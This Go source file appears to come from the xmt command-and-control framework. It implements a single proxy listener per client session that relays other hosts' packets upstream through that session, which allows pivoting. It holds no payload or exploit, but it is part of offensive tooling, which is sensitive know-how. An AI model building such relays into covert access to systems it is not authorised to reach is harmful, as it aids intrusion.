github.com/iDigitalFlame/xmt@v0.5.4/c2/u_proxy_single.go (about) 1 //go:build !multiproxy && !noproxy 2 // +build !multiproxy,!noproxy 3 4 // Copyright (C) 2020 - 2023 iDigitalFlame 5 // 6 // This program is free software: you can redistribute it and/or modify 7 // it under the terms of the GNU General Public License as published by 8 // the Free Software Foundation, either version 3 of the License, or 9 // any later version. 10 // 11 // This program is distributed in the hope that it will be useful, 12 // but WITHOUT ANY WARRANTY; without even the implied warranty of 13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 // GNU General Public License for more details. 15 // 16 // You should have received a copy of the GNU General Public License 17 // along with this program. If not, see <https://www.gnu.org/licenses/>. 18 // 19 20 package c2 21 22 import ( 23 "context" 24 25 "github.com/iDigitalFlame/xmt/c2/cfg" 26 "github.com/iDigitalFlame/xmt/c2/cout" 27 "github.com/iDigitalFlame/xmt/data" 28 "github.com/iDigitalFlame/xmt/util/xerr" 29 ) 30 31 type proxyBase struct { 32 _ [0]func() 33 *Proxy 34 } 35 36 // Proxy returns the current Proxy (if enabled). This function take a name 37 // argument that is a string that specifies the Proxy name. 38 // 39 // By default, the name is ignored as multiproxy support is disabled. 40 // 41 // When proxy support is disabled, this always returns nil. 42 func (s *Session) Proxy(_ string) *Proxy { 43 if s.proxy == nil { 44 return nil 45 } 46 return s.proxy.Proxy 47 } 48 func (s *Session) checkProxyMarshal() bool { 49 if s.proxy == nil { 50 return true 51 } 52 _, ok := s.proxy.p.(marshaler) 53 return ok 54 } 55 func (s *Session) writeProxyData(f bool, w data.Writer) error { 56 if !s.IsClient() || !s.IsActive() { 57 return nil 58 } 59 if s.proxy == nil { 60 return w.WriteUint8(0) 61 } 62 if !s.proxy.IsActive() { 63 s.proxy = nil 64 return w.WriteUint8(0) 65 } 66 if err := w.WriteUint8(1); err != nil { 67 return err 68 } 69 if err := w.WriteString(s.proxy.name); err != nil { 70 return err 71 } 72 if err := w.WriteString(s.proxy.addr); err != nil { 73 return err 74 } 75 if !f { 76 return nil 77 } 78 p, ok := s.proxy.p.(marshaler) 79 if !ok { 80 return xerr.Sub("cannot marshal Proxy Profile", 0x54) 81 } 82 b, err := p.MarshalBinary() 83 if err != nil { 84 return err 85 } 86 return w.WriteBytes(b) 87 } 88 89 // NewProxy establishes a new listening Proxy connection using the supplied Profile 90 // name and bind address that will send any received Packets "upstream" via the 91 // current Session. 92 // 93 // Packets destined for hosts connected to this proxy will be routed back and 94 // forth on this Session. 95 // 96 // This function will return an error if this is not a client Session or 97 // listening fails. 98 func (s *Session) NewProxy(name, addr string, p cfg.Profile) (*Proxy, error) { 99 if !s.IsClient() { 100 return nil, xerr.Sub("must be a client session", 0x4E) 101 } 102 if s.isMoving() { 103 return nil, xerr.Sub("migration in progress", 0x4F) 104 } 105 // TODO(dij): Need to enable this, but honestly its a lot of work for 106 // something that might have 0 use. 107 // 108 // People, if you feel otherwise, put in a GitHub issue plz. 109 // 110 // NOTE(dij): Build with the "multiproxy" tag to remove this restriction 111 if s.proxy != nil { 112 return nil, xerr.Sub("only a single Proxy per session can be active", 0x55) 113 } 114 if p == nil { 115 return nil, ErrInvalidProfile 116 } 117 h, w, t := p.Next() 118 if len(addr) > 0 { 119 h = addr 120 } 121 if len(h) == 0 { 122 return nil, ErrNoHost 123 } 124 l, err := p.Listen(s.ctx, h) 125 if err != nil { 126 return nil, xerr.Wrap("unable to listen", err) 127 } 128 if l == nil { 129 return nil, xerr.Sub("unable to listen", 0x49) 130 } 131 v := &Proxy{ 132 ch: make(chan struct{}), 133 name: name, 134 addr: h, 135 close: make(chan uint32, 8), 136 parent: s, 137 clients: make(map[uint32]*proxyClient), 138 listener: l, 139 connection: connection{s: s.s, p: p, w: w, m: s.m, t: t, log: s.log}, 140 } 141 if v.ctx, v.cancel = context.WithCancel(s.ctx); cout.Enabled { 142 s.log.Info(`[%s/P] Added Proxy Listener on "%s"!`, s.ID, h) 143 } 144 s.proxy = &proxyBase{Proxy: v} 145 go v.listen() 146 return v, nil 147 }